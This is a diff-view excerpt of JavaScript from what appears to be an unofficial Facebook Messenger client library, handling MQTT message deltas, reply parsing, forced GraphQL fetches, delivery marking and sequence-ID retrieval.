     | 
    
         
            +
                                    m_id = mdata.map(u => u.i);
         
     | 
| 
      
 361 
     | 
    
         
            +
                                    m_offset = mdata.map(u => u.o);
         
     | 
| 
      
 362 
     | 
    
         
            +
                                    m_length = mdata.map(u => u.l);
         
     | 
| 
      
 363 
     | 
    
         
            +
             
     | 
| 
      
 364 
     | 
    
         
            +
                                    var rmentions = {};
         
     | 
| 
      
 365 
     | 
    
         
            +
             
     | 
| 
      
 366 
     | 
    
         
            +
                                    for (var i = 0; i < m_id.length; i++) rmentions[m_id[i]] = (delta.deltaMessageReply.repliedToMessage.body || "").substring(m_offset[i], m_offset[i] + m_length[i]);
         
     | 
| 
      
 367 
     | 
    
         
            +
                                    //Mention block - 2#
         
     | 
| 
      
 368 
     | 
    
         
            +
                                    callbackToReturn.messageReply = {
         
     | 
| 
      
 369 
     | 
    
         
            +
                                        threadID: (delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId ? delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId : delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.otherUserFbId).toString(),
         
     | 
| 
      
 370 
     | 
    
         
            +
                                        messageID: delta.deltaMessageReply.repliedToMessage.messageMetadata.messageId,
         
     | 
| 
      
 371 
     | 
    
         
            +
                                        senderID: delta.deltaMessageReply.repliedToMessage.messageMetadata.actorFbId.toString(),
         
     | 
| 
      
 372 
     | 
    
         
            +
                                        attachments: delta.deltaMessageReply.repliedToMessage.attachments.map(function (att) {
         
     | 
| 
      
 373 
     | 
    
         
            +
                                            var mercury = JSON.parse(att.mercuryJSON);
         
     | 
| 
      
 374 
     | 
    
         
            +
                                            Object.assign(att, mercury);
         
     | 
| 
      
 375 
     | 
    
         
            +
                                            return att;
         
     | 
| 
      
 376 
     | 
    
         
            +
                                        }).map(att => {
         
     | 
| 
      
 377 
     | 
    
         
            +
                                            var x;
         
     | 
| 
      
 378 
     | 
    
         
            +
                                            try {
         
     | 
| 
      
 379 
     | 
    
         
            +
                                                x = utils._formatAttachment(att);
         
     | 
| 
      
 380 
     | 
    
         
            +
                                            } catch (ex) {
         
     | 
| 
      
 381 
     | 
    
         
            +
                                                x = att;
         
     | 
| 
      
 382 
     | 
    
         
            +
                                                x.error = ex;
         
     | 
| 
      
 383 
     | 
    
         
            +
                                                x.type = "unknown";
         
     | 
| 
      
 384 
     | 
    
         
            +
                                            }
         
     | 
| 
      
 385 
     | 
    
         
            +
                                            return x;
         
     | 
| 
      
 386 
     | 
    
         
            +
                                        }),
         
     | 
| 
      
 387 
     | 
    
         
            +
                                        args: (delta.deltaMessageReply.repliedToMessage.body || "").trim().split(/\s+/),
         
     | 
| 
      
 388 
     | 
    
         
            +
                                        body: delta.deltaMessageReply.repliedToMessage.body || "",
         
     | 
| 
      
 389 
     | 
    
         
            +
                                        isGroup: !!delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId,
         
     | 
| 
      
 390 
     | 
    
         
            +
                                        mentions: rmentions,
         
     | 
| 
      
 391 
     | 
    
         
            +
                                        timestamp: delta.deltaMessageReply.repliedToMessage.messageMetadata.timestamp,
         
     | 
| 
      
 392 
     | 
    
         
            +
                                        participantIDs: (delta.deltaMessageReply.repliedToMessage.participants || []).map(e => e.toString())
         
     | 
| 
      
 393 
     | 
    
         
            +
                                    };
         
     | 
| 
      
 394 
     | 
    
         
            +
                                } else if (delta.deltaMessageReply.replyToMessageId) {
         
     | 
| 
      
 395 
     | 
    
         
            +
                                    return defaultFuncs
         
     | 
| 
      
 396 
     | 
    
         
            +
                                        .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, {
         
     | 
| 
      
 397 
     | 
    
         
            +
                                            "av": ctx.globalOptions.pageID,
         
     | 
| 
      
 398 
     | 
    
         
            +
                                            "queries": JSON.stringify({
         
     | 
| 
      
 399 
     | 
    
         
            +
                                                "o0": {
         
     | 
| 
      
 400 
     | 
    
         
            +
                                                    //Using the same doc_id as forcedFetch
         
     | 
| 
      
 401 
     | 
    
         
            +
                                                    "doc_id": "2848441488556444",
         
     | 
| 
      
 402 
     | 
    
         
            +
                                                    "query_params": {
         
     | 
| 
      
 403 
     | 
    
         
            +
                                                        "thread_and_message_id": {
         
     | 
| 
      
 404 
     | 
    
         
            +
                                                            "thread_id": callbackToReturn.threadID,
         
     | 
| 
      
 405 
     | 
    
         
            +
                                                            "message_id": delta.deltaMessageReply.replyToMessageId.id,
         
     | 
| 
      
 406 
     | 
    
         
            +
                                                        }
         
     | 
| 
      
 407 
     | 
    
         
            +
                                                    }
         
     | 
| 
      
 408 
     | 
    
         
            +
                                                }
         
     | 
| 
      
 409 
     | 
    
         
            +
                                            })
         
     | 
| 
      
 410 
     | 
    
         
            +
                                        })
         
     | 
| 
      
 411 
     | 
    
         
            +
                                        .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
         
     | 
| 
      
 412 
     | 
    
         
            +
                                        .then((resData) => {
         
     | 
| 
      
 413 
     | 
    
         
            +
                                            if (resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
         
     | 
| 
      
 414 
     | 
    
         
            +
                                            if (resData[resData.length - 1].successful_results === 0) throw { error: "forcedFetch: there was no successful_results", res: resData };
         
     | 
| 
      
 415 
     | 
    
         
            +
                                            var fetchData = resData[0].o0.data.message;
         
     | 
| 
      
 416 
     | 
    
         
            +
                                            var mobj = {};
         
     | 
| 
      
 417 
     | 
    
         
            +
                                            for (var n in fetchData.message.ranges) mobj[fetchData.message.ranges[n].entity.id] = (fetchData.message.text || "").substr(fetchData.message.ranges[n].offset, fetchData.message.ranges[n].length);
         
     | 
| 
      
 418 
     | 
    
         
            +
             
     | 
| 
      
 419 
     | 
    
         
            +
                                            callbackToReturn.messageReply = {
         
     | 
| 
      
 420 
     | 
    
         
            +
                                                type: "Message",
         
     | 
| 
      
 421 
     | 
    
         
            +
                                                threadID: callbackToReturn.threadID,
         
     | 
| 
      
 422 
     | 
    
         
            +
                                                messageID: fetchData.message_id,
         
     | 
| 
      
 423 
     | 
    
         
            +
                                                senderID: fetchData.message_sender.id.toString(),
         
     | 
| 
      
 424 
     | 
    
         
            +
                                                attachments: fetchData.message.blob_attachment.map(att => {
         
     | 
| 
      
 425 
     | 
    
         
            +
                                                    var x;
         
     | 
| 
      
 426 
     | 
    
         
            +
                                                    try {
         
     | 
| 
      
 427 
     | 
    
         
            +
                                                        x = utils._formatAttachment({ blob_attachment: att });
         
     | 
| 
      
 428 
     | 
    
         
            +
                                                    } catch (ex) {
         
     | 
| 
      
 429 
     | 
    
         
            +
                                                        x = att;
         
     | 
| 
      
 430 
     | 
    
         
            +
                                                        x.error = ex;
         
     | 
| 
      
 431 
     | 
    
         
            +
                                                        x.type = "unknown";
         
     | 
| 
      
 432 
     | 
    
         
            +
                                                    }
         
     | 
| 
      
 433 
     | 
    
         
            +
                                                    return x;
         
     | 
| 
      
 434 
     | 
    
         
            +
                                                }),
         
     | 
| 
      
 435 
     | 
    
         
            +
                                                args: (fetchData.message.text || "").trim().split(/\s+/) || [],
         
     | 
| 
      
 436 
     | 
    
         
            +
                                                body: fetchData.message.text || "",
         
     | 
| 
      
 437 
     | 
    
         
            +
                                                isGroup: callbackToReturn.isGroup,
         
     | 
| 
      
 438 
     | 
    
         
            +
                                                mentions: mobj,
         
     | 
| 
      
 439 
     | 
    
         
            +
                                                timestamp: parseInt(fetchData.timestamp_precise)
         
     | 
| 
      
 440 
     | 
    
         
            +
                                            };
         
     | 
| 
      
 441 
     | 
    
         
            +
                                        })
         
     | 
| 
      
 442 
     | 
    
         
            +
                                        .catch(err => log.error("forcedFetch", err))
         
     | 
| 
      
 443 
     | 
    
         
            +
                                        .finally(function () {
         
     | 
| 
      
 444 
     | 
    
         
            +
                                            if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, callbackToReturn.threadID, callbackToReturn.messageID);
         
     | 
| 
      
 445 
     | 
    
         
            +
                                            !ctx.globalOptions.selfListen && callbackToReturn.senderID === ctx.userID ? undefined : (function () { globalCallback(null, callbackToReturn); })();
         
     | 
| 
      
 446 
     | 
    
         
            +
                                        });
         
     | 
| 
      
 447 
     | 
    
         
            +
                                } else callbackToReturn.delta = delta;
         
     | 
| 
      
 448 
     | 
    
         
            +
                        
         
     | 
| 
      
 449 
     | 
    
         
            +
                                if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, callbackToReturn.threadID, callbackToReturn.messageID);
         
     | 
| 
      
 450 
     | 
    
         
            +
             
     | 
| 
      
 451 
     | 
    
         
            +
                                return !ctx.globalOptions.selfListen && callbackToReturn.senderID === ctx.userID ? undefined : (function () { globalCallback(null, callbackToReturn); })();
         
     | 
| 
      
 452 
     | 
    
         
            +
                            }
         
     | 
| 
      
 453 
     | 
    
         
            +
                        }
         
     | 
| 
      
 454 
     | 
    
         
            +
                        return;
         
     | 
| 
      
 455 
     | 
    
         
            +
                    }
         
     | 
| 
      
 456 
     | 
    
         
            +
                }
         
     | 
| 
      
 457 
     | 
    
         
            +
             
     | 
| 
      
 458 
     | 
    
         
            +
                if (v.delta.class !== "NewMessage" && !ctx.globalOptions.listenEvents) return;
         
     | 
| 
      
 459 
     | 
    
         
            +
                switch (v.delta.class) {
         
     | 
| 
      
 460 
     | 
    
         
            +
                    case "ReadReceipt":
         
     | 
| 
      
 461 
     | 
    
         
            +
                        var fmtMsg;
         
     | 
| 
      
 462 
     | 
    
         
            +
                        try {
         
     | 
| 
      
 463 
     | 
    
         
            +
                            fmtMsg = utils.formatDeltaReadReceipt(v.delta);
         
     | 
| 
      
 464 
     | 
    
         
            +
                        } catch (err) {
         
     | 
| 
      
 465 
     | 
    
         
            +
                            return log.error("Lỗi Nhẹ", err);
         
     | 
| 
      
 466 
     | 
    
         
            +
                        }
         
     | 
| 
      
 467 
     | 
    
         
            +
                        return (function () { globalCallback(null, fmtMsg); })();
         
     | 
| 
      
 468 
     | 
    
         
            +
                    case "AdminTextMessage":
         
     | 
| 
      
 469 
     | 
    
         
            +
                        switch (v.delta.type) {
         
     | 
| 
      
 470 
     | 
    
         
            +
                            case "joinable_group_link_mode_change":
         
     | 
| 
      
 471 
     | 
    
         
            +
                            case "magic_words":
         
     | 
| 
      
 472 
     | 
    
         
            +
                            case "change_thread_theme":
         
     | 
| 
      
 473 
     | 
    
         
            +
                            case "change_thread_icon":
         
     | 
| 
      
 474 
     | 
    
         
            +
                            case "change_thread_nickname":
         
     | 
| 
      
 475 
     | 
    
         
            +
                            case "change_thread_admins":
         
     | 
| 
      
 476 
     | 
    
         
            +
                            case "change_thread_approval_mode":
         
     | 
| 
      
 477 
     | 
    
         
            +
                            case "group_poll":
         
     | 
| 
      
 478 
     | 
    
         
            +
                            case "messenger_call_log":
         
     | 
| 
      
 479 
     | 
    
         
            +
                            case "participant_joined_group_call":
         
     | 
| 
      
 480 
     | 
    
         
            +
                                var fmtMsg;
         
     | 
| 
      
 481 
     | 
    
         
            +
                                try {
         
     | 
| 
      
 482 
     | 
    
         
            +
                                    fmtMsg = utils.formatDeltaEvent(v.delta);
         
     | 
| 
      
 483 
     | 
    
         
            +
                                } catch (err) {
         
     | 
| 
      
 484 
     | 
    
         
            +
                                    return log.error("Lỗi Nhẹ", err);
         
     | 
| 
      
 485 
     | 
    
         
            +
                                }
         
     | 
| 
      
 486 
     | 
    
         
            +
                                return (function () { globalCallback(null, fmtMsg); })();
         
     | 
| 
      
 487 
     | 
    
         
            +
                            default:
         
     | 
| 
      
 488 
     | 
    
         
            +
                                return;
         
     | 
| 
      
 489 
     | 
    
         
            +
                        }
         
     | 
| 
      
 490 
     | 
    
         
            +
                    //For group images
         
     | 
| 
      
 491 
     | 
    
         
            +
                    case "ForcedFetch":
         
     | 
| 
      
 492 
     | 
    
         
            +
                        if (!v.delta.threadKey) return;
         
     | 
| 
      
 493 
     | 
    
         
            +
                        var mid = v.delta.messageId;
         
     | 
| 
      
 494 
     | 
    
         
            +
                        var tid = v.delta.threadKey.threadFbId;
         
     | 
| 
      
 495 
     | 
    
         
            +
                        if (mid && tid) {
         
     | 
| 
      
 496 
     | 
    
         
            +
                            const form = {
         
     | 
| 
      
 497 
     | 
    
         
            +
                                "av": ctx.globalOptions.pageID,
         
     | 
| 
      
 498 
     | 
    
         
            +
                                "queries": JSON.stringify({
         
     | 
| 
      
 499 
     | 
    
         
            +
                                    "o0": {
         
     | 
| 
      
 500 
     | 
    
         
            +
                                        //This doc_id is valid as of March 25, 2020
         
     | 
| 
      
 501 
     | 
    
         
            +
                                        "doc_id": "2848441488556444",
         
     | 
| 
      
 502 
     | 
    
         
            +
                                        "query_params": {
         
     | 
| 
      
 503 
     | 
    
         
            +
                                            "thread_and_message_id": {
         
     | 
| 
      
 504 
     | 
    
         
            +
                                                "thread_id": tid.toString(),
         
     | 
| 
      
 505 
     | 
    
         
            +
                                                "message_id": mid,
         
     | 
| 
      
 506 
     | 
    
         
            +
                                            }
         
     | 
| 
      
 507 
     | 
    
         
            +
                                        }
         
     | 
| 
      
 508 
     | 
    
         
            +
                                    }
         
     | 
| 
      
 509 
     | 
    
         
            +
                                })
         
     | 
| 
      
 510 
     | 
    
         
            +
                            };
         
     | 
| 
      
 511 
     | 
    
         
            +
             
     | 
| 
      
 512 
     | 
    
         
            +
                            defaultFuncs
         
     | 
| 
      
 513 
     | 
    
         
            +
                                .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
         
     | 
| 
      
 514 
     | 
    
         
            +
                                .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
         
     | 
| 
      
 515 
     | 
    
         
            +
                                .then((resData) => {
         
     | 
| 
      
 516 
     | 
    
         
            +
                                    if (resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
         
     | 
| 
      
 517 
     | 
    
         
            +
             
     | 
| 
      
 518 
     | 
    
         
            +
                                    if (resData[resData.length - 1].successful_results === 0) throw { error: "forcedFetch: there was no successful_results", res: resData };
         
     | 
| 
      
 519 
     | 
    
         
            +
             
     | 
| 
      
 520 
     | 
    
         
            +
                                    var fetchData = resData[0].o0.data.message;
         
     | 
| 
      
 521 
     | 
    
         
            +
             
     | 
| 
      
 522 
     | 
    
         
            +
                                    if (utils.getType(fetchData) == "Object") {
         
     | 
| 
      
 523 
     | 
    
         
            +
                                        log.info("forcedFetch", fetchData);
         
     | 
| 
      
 524 
     | 
    
         
            +
                                        switch (fetchData.__typename) {
         
     | 
| 
      
 525 
     | 
    
         
            +
                                            case "ThreadImageMessage":
         
     | 
| 
      
 526 
     | 
    
         
            +
                                                (!ctx.globalOptions.selfListen &&
         
     | 
| 
      
 527 
     | 
    
         
            +
                                                    fetchData.message_sender.id.toString() === ctx.userID) ||
         
     | 
| 
      
 528 
     | 
    
         
            +
                                                    !ctx.loggedIn ?
         
     | 
| 
      
 529 
     | 
    
         
            +
                                                    undefined :
         
     | 
| 
      
 530 
     | 
    
         
            +
                                                    (function () {
         
     | 
| 
      
 531 
     | 
    
         
            +
                                                        globalCallback(null, {
         
     | 
| 
      
 532 
     | 
    
         
            +
                                                            type: "change_thread_image",
         
     | 
| 
      
 533 
     | 
    
         
            +
                                                            threadID: utils.formatID(tid.toString()),
         
     | 
| 
      
 534 
     | 
    
         
            +
                                                            snippet: fetchData.snippet,
         
     | 
| 
      
 535 
     | 
    
         
            +
                                                            timestamp: fetchData.timestamp_precise,
         
     | 
| 
      
 536 
     | 
    
         
            +
                                                            author: fetchData.message_sender.id,
         
     | 
| 
      
 537 
     | 
    
         
            +
                                                            image: {
         
     | 
| 
      
 538 
     | 
    
         
            +
                                                                attachmentID: fetchData.image_with_metadata && fetchData.image_with_metadata.legacy_attachment_id,
         
     | 
| 
      
 539 
     | 
    
         
            +
                                                                width: fetchData.image_with_metadata && fetchData.image_with_metadata.original_dimensions.x,
         
     | 
| 
      
 540 
     | 
    
         
            +
                                                                height: fetchData.image_with_metadata && fetchData.image_with_metadata.original_dimensions.y,
         
     | 
| 
      
 541 
     | 
    
         
            +
                                                                url: fetchData.image_with_metadata && fetchData.image_with_metadata.preview.uri
         
     | 
| 
      
 542 
     | 
    
         
            +
                                                            }
         
     | 
| 
      
 543 
     | 
    
         
            +
                                                        });
         
     | 
| 
      
 544 
     | 
    
         
            +
                                                    })();
         
     | 
| 
      
 545 
     | 
    
         
            +
                                                break;
         
     | 
| 
      
 546 
     | 
    
         
            +
                                            case "UserMessage":
         
     | 
| 
      
 547 
     | 
    
         
            +
                                                log.info("ff-Return", {
         
     | 
| 
      
 548 
     | 
    
         
            +
                                                    type: "message",
         
     | 
| 
      
 549 
     | 
    
         
            +
                                                    senderID: utils.formatID(fetchData.message_sender.id),
         
     | 
| 
      
 550 
     | 
    
         
            +
                                                    body: fetchData.message.text || "",
         
     | 
| 
      
 551 
     | 
    
         
            +
                                                    threadID: utils.formatID(tid.toString()),
         
     | 
| 
      
 552 
     | 
    
         
            +
                                                    messageID: fetchData.message_id,
         
     | 
| 
      
 553 
     | 
    
         
            +
                                                    attachments: [{
         
     | 
| 
      
 554 
     | 
    
         
            +
                                                        type: "share",
         
     | 
| 
      
 555 
     | 
    
         
            +
                                                        ID: fetchData.extensible_attachment.legacy_attachment_id,
         
     | 
| 
      
 556 
     | 
    
         
            +
                                                        url: fetchData.extensible_attachment.story_attachment.url,
         
     | 
| 
      
 557 
     | 
    
         
            +
             
     | 
| 
      
 558 
     | 
    
         
            +
                                                        title: fetchData.extensible_attachment.story_attachment.title_with_entities.text,
         
     | 
| 
      
 559 
     | 
    
         
            +
                                                        description: fetchData.extensible_attachment.story_attachment.description.text,
         
     | 
| 
      
 560 
     | 
    
         
            +
                                                        source: fetchData.extensible_attachment.story_attachment.source,
         
     | 
| 
      
 561 
     | 
    
         
            +
             
     | 
| 
      
 562 
     | 
    
         
            +
                                                        image: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).uri,
         
     | 
| 
      
 563 
     | 
    
         
            +
                                                        width: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).width,
         
     | 
| 
      
 564 
     | 
    
         
            +
                                                        height: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).height,
         
     | 
| 
      
 565 
     | 
    
         
            +
                                                        playable: (fetchData.extensible_attachment.story_attachment.media || {}).is_playable || false,
         
     | 
| 
      
 566 
     | 
    
         
            +
                                                        duration: (fetchData.extensible_attachment.story_attachment.media || {}).playable_duration_in_ms || 0,
         
     | 
| 
      
 567 
     | 
    
         
            +
             
     | 
| 
      
 568 
     | 
    
         
            +
                                                        subattachments: fetchData.extensible_attachment.subattachments,
         
     | 
| 
      
 569 
     | 
    
         
            +
                                                        properties: fetchData.extensible_attachment.story_attachment.properties,
         
     | 
| 
      
 570 
     | 
    
         
            +
                                                    }],
         
     | 
| 
      
 571 
     | 
    
         
            +
                                                    mentions: {},
         
     | 
| 
      
 572 
     | 
    
         
            +
                                                    timestamp: parseInt(fetchData.timestamp_precise),
         
     | 
| 
      
 573 
     | 
    
         
            +
                                                    isGroup: (fetchData.message_sender.id != tid.toString())
         
     | 
| 
      
 574 
     | 
    
         
            +
                                                });
         
     | 
| 
      
 575 
     | 
    
         
            +
                                                globalCallback(null, {
         
     | 
| 
      
 576 
     | 
    
         
            +
                                                    type: "message",
         
     | 
| 
      
 577 
     | 
    
         
            +
                                                    senderID: utils.formatID(fetchData.message_sender.id),
         
     | 
| 
      
 578 
     | 
    
         
            +
                                                    body: fetchData.message.text || "",
         
     | 
| 
      
 579 
     | 
    
         
            +
                                                    threadID: utils.formatID(tid.toString()),
         
     | 
| 
      
 580 
     | 
    
         
            +
                                                    messageID: fetchData.message_id,
         
     | 
| 
      
 581 
     | 
    
         
            +
                                                    attachments: [{
         
     | 
| 
      
 582 
     | 
    
         
            +
                                                        type: "share",
         
     | 
| 
      
 583 
     | 
    
         
            +
                                                        ID: fetchData.extensible_attachment.legacy_attachment_id,
         
     | 
| 
      
 584 
     | 
    
         
            +
                                                        url: fetchData.extensible_attachment.story_attachment.url,
         
     | 
| 
      
 585 
     | 
    
         
            +
             
     | 
| 
      
 586 
     | 
    
         
            +
                                                        title: fetchData.extensible_attachment.story_attachment.title_with_entities.text,
         
     | 
| 
      
 587 
     | 
    
         
            +
                                                        description: fetchData.extensible_attachment.story_attachment.description.text,
         
     | 
| 
      
 588 
     | 
    
         
            +
                                                        source: fetchData.extensible_attachment.story_attachment.source,
         
     | 
| 
      
 589 
     | 
    
         
            +
             
     | 
| 
      
 590 
     | 
    
         
            +
                                                        image: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).uri,
         
     | 
| 
      
 591 
     | 
    
         
            +
                                                        width: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).width,
         
     | 
| 
      
 592 
     | 
    
         
            +
                                                        height: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).height,
         
     | 
| 
      
 593 
     | 
    
         
            +
                                                        playable: (fetchData.extensible_attachment.story_attachment.media || {}).is_playable || false,
         
     | 
| 
      
 594 
     | 
    
         
            +
                                                        duration: (fetchData.extensible_attachment.story_attachment.media || {}).playable_duration_in_ms || 0,
         
     | 
| 
      
 595 
     | 
    
         
            +
             
     | 
| 
      
 596 
     | 
    
         
            +
                                                        subattachments: fetchData.extensible_attachment.subattachments,
         
     | 
| 
      
 597 
     | 
    
         
            +
                                                        properties: fetchData.extensible_attachment.story_attachment.properties,
         
     | 
| 
      
 598 
     | 
    
         
            +
                                                    }],
         
     | 
| 
      
 599 
     | 
    
         
            +
                                                    mentions: {},
         
     | 
| 
      
 600 
     | 
    
         
            +
                                                    timestamp: parseInt(fetchData.timestamp_precise),
         
     | 
| 
      
 601 
     | 
    
         
            +
                                                    isGroup: (fetchData.message_sender.id != tid.toString())
         
     | 
| 
      
 602 
     | 
    
         
            +
                                                });
         
     | 
| 
      
 603 
     | 
    
         
            +
                                        }
         
     | 
| 
      
 604 
     | 
    
         
            +
                                    } else log.error("forcedFetch", fetchData);
         
     | 
| 
      
 605 
     | 
    
         
            +
                                })
         
     | 
| 
      
 606 
     | 
    
         
            +
                                .catch((err) => log.error("forcedFetch", err));
         
     | 
| 
      
 607 
     | 
    
         
            +
                        }
         
     | 
| 
      
 608 
     | 
    
         
            +
                        break;
         
     | 
| 
      
 609 
     | 
    
         
            +
                    case "ThreadName":
         
     | 
| 
      
 610 
     | 
    
         
            +
                    case "ParticipantsAddedToGroupThread":
         
     | 
| 
      
 611 
     | 
    
         
            +
                    case "ParticipantLeftGroupThread":
         
     | 
| 
      
 612 
     | 
    
         
            +
                        var formattedEvent;
         
     | 
| 
      
 613 
     | 
    
         
            +
                        try {
         
     | 
| 
      
 614 
     | 
    
         
            +
                            formattedEvent = utils.formatDeltaEvent(v.delta);
         
     | 
| 
      
 615 
     | 
    
         
            +
                        } catch (err) {
         
     | 
| 
      
 616 
     | 
    
         
            +
                            return log.error("Lỗi Nhẹ", err);
         
     | 
| 
      
 617 
     | 
    
         
            +
                        }
         
     | 
| 
      
 618 
     | 
    
         
            +
                        return (!ctx.globalOptions.selfListen && formattedEvent.author.toString() === ctx.userID) || !ctx.loggedIn ? undefined : (function () { globalCallback(null, formattedEvent); })();
         
     | 
| 
      
 619 
     | 
    
         
            +
                }
         
     | 
| 
      
 620 
     | 
    
         
            +
            }
         
     | 
| 
      
 621 
     | 
    
         
            +
             
     | 
| 
      
 622 
     | 
    
         
            +
             
     | 
| 
      
 623 
     | 
    
         
            +
            function markDelivery(ctx, api, threadID, messageID) {
         
     | 
| 
      
 624 
     | 
    
         
            +
                if (threadID && messageID) {
         
     | 
| 
      
 625 
     | 
    
         
            +
                    api.markAsDelivered(threadID, messageID, (err) => {
         
     | 
| 
      
 626 
     | 
    
         
            +
                        if (err) log.error("markAsDelivered", err);
         
     | 
| 
      
 627 
     | 
    
         
            +
                        else {
         
     | 
| 
      
 628 
     | 
    
         
            +
                            if (ctx.globalOptions.autoMarkRead) {
         
     | 
| 
      
 629 
     | 
    
         
            +
                                api.markAsRead(threadID, (err) => {
         
     | 
| 
      
 630 
     | 
    
         
            +
                                    if (err) log.error("markAsDelivered", err);
         
     | 
| 
      
 631 
     | 
    
         
            +
                                });
         
     | 
| 
      
 632 
     | 
    
         
            +
                            }
         
     | 
| 
      
 633 
     | 
    
         
            +
                        }
         
     | 
| 
      
 634 
     | 
    
         
            +
                    });
         
     | 
| 
      
 635 
     | 
    
         
            +
                }
         
     | 
| 
      
 636 
     | 
    
         
            +
            }
         
     | 
| 
      
 637 
     | 
    
         
            +
             
     | 
| 
      
 638 
     | 
    
         
            +
            module.exports = function (defaultFuncs, api, ctx) {
         
     | 
| 
      
 639 
     | 
    
         
            +
                var globalCallback = identity;
         
     | 
| 
      
 640 
     | 
    
         
            +
                getSeqID = function getSeqID() {
         
     | 
| 
      
 641 
     | 
    
         
            +
                    ctx.t_mqttCalled = false;
         
     | 
| 
      
 642 
     | 
    
         
            +
                    defaultFuncs
         
     | 
| 
      
 643 
     | 
    
         
            +
                        .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
         
     | 
| 
      
 644 
     | 
    
         
            +
                        .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
         
     | 
| 
      
 645 
     | 
    
         
            +
                        .then((resData) => {
         
     | 
| 
      
 646 
     | 
    
         
            +
                            if (utils.getType(resData) != "Array") {
         
     | 
| 
      
 647 
     | 
    
         
            +
                                switch (global.Fca.Require.FastConfig.AutoLogin) {
         
     | 
| 
      
 648 
     | 
    
         
            +
                                    case true: {
         
     | 
| 
      
 649 
     | 
    
         
            +
                                        global.Fca.Require.logger.Warning(global.Fca.Require.Language.Index.AutoLogin, function() {
         
     | 
| 
      
 650 
     | 
    
         
            +
                                            return global.Fca.AutoLogin();
         
     | 
| 
      
 651 
     | 
    
         
            +
                                        });
         
     | 
| 
      
 652 
     | 
    
         
            +
                                        break;
         
     | 
| 
      
 653 
     | 
    
         
            +
                                    }
         
     | 
| 
      
 654 
     | 
    
         
            +
                                    case false: {
         
     | 
| 
      
 655 
     | 
    
         
            +
                                        throw { error: global.Fca.Require.Language.Index.ErrAppState };
         
     | 
| 
      
 656 
     | 
    
         
            +
                                        
         
     | 
| 
      
 657 
     | 
    
         
            +
                                    }
         
     | 
| 
      
 658 
     | 
    
         
            +
                                }
         
     | 
| 
      
 659 
     | 
    
         
            +
                            }
         
     | 
| 
      
 660 
     | 
    
         
            +
                            if (resData && resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
         
     | 
| 
      
 661 
     | 
    
         
            +
                            if (resData[resData.length - 1].successful_results === 0) throw { error: "getSeqId: there was no successful_results", res: resData };
         
     | 
| 
      
 662 
     | 
    
         
            +
                            if (resData[0].o0.data.viewer.message_threads.sync_sequence_id) {
         
     | 
| 
      
 663 
     | 
    
         
            +
                                ctx.lastSeqId = resData[0].o0.data.viewer.message_threads.sync_sequence_id;
         
     | 
| 
      
 664 
     | 
    
         
            +
                                listenMqtt(defaultFuncs, api, ctx, globalCallback);
         
     | 
| 
      
 665 
     | 
    
         
            +
                            } else throw { error: "getSeqId: no sync_sequence_id found.", res: resData };
         
     | 
| 
      
 666 
     | 
    
         
            +
                        })
         
     | 
| 
      
 667 
     | 
    
         
            +
                        .catch((err) => {
         
     | 
| 
      
 668 
     | 
    
         
            +
                            log.error("getSeqId", err);
         
     | 
| 
      
 669 
     | 
    
         
            +
                            if (utils.getType(err) == "Object" && err.error === global.Fca.Require.Language.Index.ErrAppState) ctx.loggedIn = false;
         
     | 
| 
      
 670 
     | 
    
         
            +
                            return globalCallback(err);
         
     | 
| 
      
 671 
     | 
    
         
            +
                        });
         
     | 
| 
      
 672 
     | 
    
         
            +
                };
         
     | 
| 
      
 673 
     | 
    
         
            +
             
     | 
| 
      
 674 
     | 
    
         
            +
                return function (callback) {
         
     | 
| 
      
 675 
     | 
    
         
            +
                    class MessageEmitter extends EventEmitter {
         
     | 
| 
      
 676 
     | 
    
         
            +
                        stopListening(callback) {
         
     | 
| 
      
 677 
     | 
    
         
            +
                            callback = callback || (() => { });
         
     | 
| 
      
 678 
     | 
    
         
            +
                            globalCallback = identity;
         
     | 
| 
      
 679 
     | 
    
         
            +
                            if (ctx.mqttClient) {
         
     | 
| 
      
 680 
     | 
    
         
            +
                                ctx.mqttClient.unsubscribe("/webrtc");
         
     | 
| 
      
 681 
     | 
    
         
            +
                                ctx.mqttClient.unsubscribe("/rtc_multi");
         
     | 
| 
      
 682 
     | 
    
         
            +
                                ctx.mqttClient.unsubscribe("/onevc");
         
     | 
| 
      
 683 
     | 
    
         
            +
                                ctx.mqttClient.publish("/browser_close", "{}");
         
     | 
| 
      
 684 
     | 
    
         
            +
                                ctx.mqttClient.end(false, function (...data) {
         
     | 
| 
      
 685 
     | 
    
         
            +
                                    callback(data);
         
     | 
| 
      
 686 
     | 
    
         
            +
                                    ctx.mqttClient = undefined;
         
     | 
| 
      
 687 
     | 
    
         
            +
                                });
         
     | 
| 
      
 688 
     | 
    
         
            +
                            }
         
     | 
| 
      
 689 
     | 
    
         
            +
                        }
         
     | 
| 
      
 690 
     | 
    
         
            +
                    }
         
     | 
| 
      
 691 
     | 
    
         
            +
             
     | 
| 
      
 692 
     | 
    
         
            +
                    var msgEmitter = new MessageEmitter();
         
     | 
| 
      
 693 
     | 
    
         
            +
                    globalCallback = (callback || function (error, message) {
         
     | 
| 
      
 694 
     | 
    
         
            +
                        if (error) return msgEmitter.emit("error", error);
         
     | 
| 
      
 695 
     | 
    
         
            +
                        msgEmitter.emit("message", message);
         
     | 
| 
      
 696 
     | 
    
         
            +
                    });
         
     | 
| 
      
 697 
     | 
    
         
            +
             
     | 
| 
      
 698 
     | 
    
         
            +
                    //Reset some stuff
         
     | 
| 
      
 699 
     | 
    
